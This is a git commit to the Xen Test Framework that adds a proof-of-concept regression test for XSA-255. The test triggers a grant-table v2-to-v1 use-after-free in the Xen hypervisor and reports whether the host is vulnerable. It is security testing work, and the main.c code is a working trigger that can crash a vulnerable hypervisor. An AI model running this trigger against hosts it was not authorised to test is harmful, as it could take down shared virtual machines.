From: Jan Beulich Date: Thu, 15 Feb 2018 17:28:09 +0000 (+0000) Subject: XSA-255 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=ffb046f213f3e36f6f3cc9467298c3ebc8b3ac9f;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-255 PoC Signed-off-by: Jan Beulich Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 224e06b..4831d15 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -112,6 +112,8 @@ guest breakout. @subpage test-xsa-239 - hypervisor stack leak in x86 I/O intercept code. +@subpage test-xsa-255 - grant table v2 -> v1 transition may crash Xen. + @section index-utility Utilities diff --git a/include/xen/grant_table.h b/include/xen/grant_table.h index 4c2e3ad..b61f4db 100644 --- a/include/xen/grant_table.h +++ b/include/xen/grant_table.h @@ -310,6 +310,22 @@ struct gnttab_set_version { uint32_t version; }; +/* + * GNTTABOP_get_status_frames: Get the list of frames used to store grant + * status for . In grant format version 2, the status is separated + * from the other shared grant fields to allow more efficient synchronization + * using barriers instead of atomic cmpxchg operations. + */ +#define GNTTABOP_get_status_frames 9 +struct gnttab_get_status_frames { + /* IN parameters. */ + uint32_t nr_frames; + domid_t dom; + /* OUT parameters. */ + int16_t status; /* => enum grant_status */ + uint64_t *frame_list; +}; + /* * Issue one or more cache maintenance operations on a portion of a * page granted to the calling domain by a foreign domain. diff --git a/tests/xsa-255/Makefile b/tests/xsa-255/Makefile new file mode 100644 index 0000000..8848438 --- /dev/null +++ b/tests/xsa-255/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-255 +CATEGORY := xsa +TEST-ENVS := pv64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-255/main.c b/tests/xsa-255/main.c new file mode 100644 index 0000000..647de51 --- /dev/null +++ b/tests/xsa-255/main.c @@ -0,0 +1,96 @@ +/** + * @file tests/xsa-255/main.c + * @ref test-xsa-255 + * + * @page test-xsa-255 XSA-255 + * + * Advisory: [XSA-255](http://xenbits.xen.org/xsa/advisory-255.html) + * + * The Grant Table v2 API has includes a set of status frames, which the guest + * is expected to map in addition to the regular grant frames. These frames + * need freeing by Xen if a guest chooses to switch back to Grant Table v1. + * Such a transition would might occur when invoking a crash kernel. + * + * Before XSA-255, Xen failed to check for outstanding mappings of the status + * frames before freeing the underlying pages. + * + * Depending on the version of Xen, this might reliably hit a BUG() in the + * reference counting logic (and is at most a straight DoS), or may allow for + * the guest to cause worse problems via its writeable mapping to a reused + * page. + * + * @see tests/xsa-255/main.c + */ +#include + +const char test_title[] = "XSA-255 PoC"; + +static uint8_t frame1[PAGE_SIZE] __page_aligned_bss; + +void test_main(void) +{ + int rc = xtf_init_grant_table(2); + + if ( rc == -ENOENT ) + return xtf_skip("Skip: Grant Table v2 not available\n"); + if ( rc ) + return xtf_error("Error initialising grant table: %d\n", rc); + + /* Retrieve the status frames from Xen. */ + uint64_t status_frames[1]; + struct gnttab_get_status_frames gsf = { + .dom = DOMID_SELF, + .nr_frames = ARRAY_SIZE(status_frames), + .frame_list = status_frames, + }; + + rc = hypercall_grant_table_op(GNTTABOP_get_status_frames, &gsf, 1); + if ( rc || gsf.status ) + return xtf_error("Error: unable to obtain status frames: %d,%d\n", + rc, gsf.status); + + /* Remap frame1 to point at the first status frame. */ + rc = hypercall_update_va_mapping( + _u(frame1), pte_from_gfn(status_frames[0], PF_SYM(AD, P)), UVMF_INVLPG); + if ( rc ) + return xtf_error("Error: unable to map status frame: %d\n", rc); + + /* Switch back to Grant Table v1, implicitly freeing the status frames. */ + struct gnttab_set_version version = { 1 }; + + rc = hypercall_grant_table_op(GNTTABOP_set_version, &version, 1); + switch ( rc ) + { + case 0: + return xtf_failure("Fail: Vulnerable to XSA-255\n"); + + case -EBUSY: + /* Probably not vulnerable. Try to confirm. */ + break; + + default: + return xtf_error("Error: Unexpected set_version result %d\n", rc); + } + + /* Unmap the status frame. */ + rc = hypercall_update_va_mapping(_u(frame1), 0, UVMF_INVLPG); + if ( rc ) + return xtf_error("Error unmapping status frame: %d\n", rc); + + /* Retry the switch back to Grant Table v1. */ + rc = hypercall_grant_table_op(GNTTABOP_set_version, &version, 1); + if ( rc ) + return xtf_error("Error setting gnttab version: %d\n", rc); + + xtf_success("Success: Not vulnerable to XSA-255\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */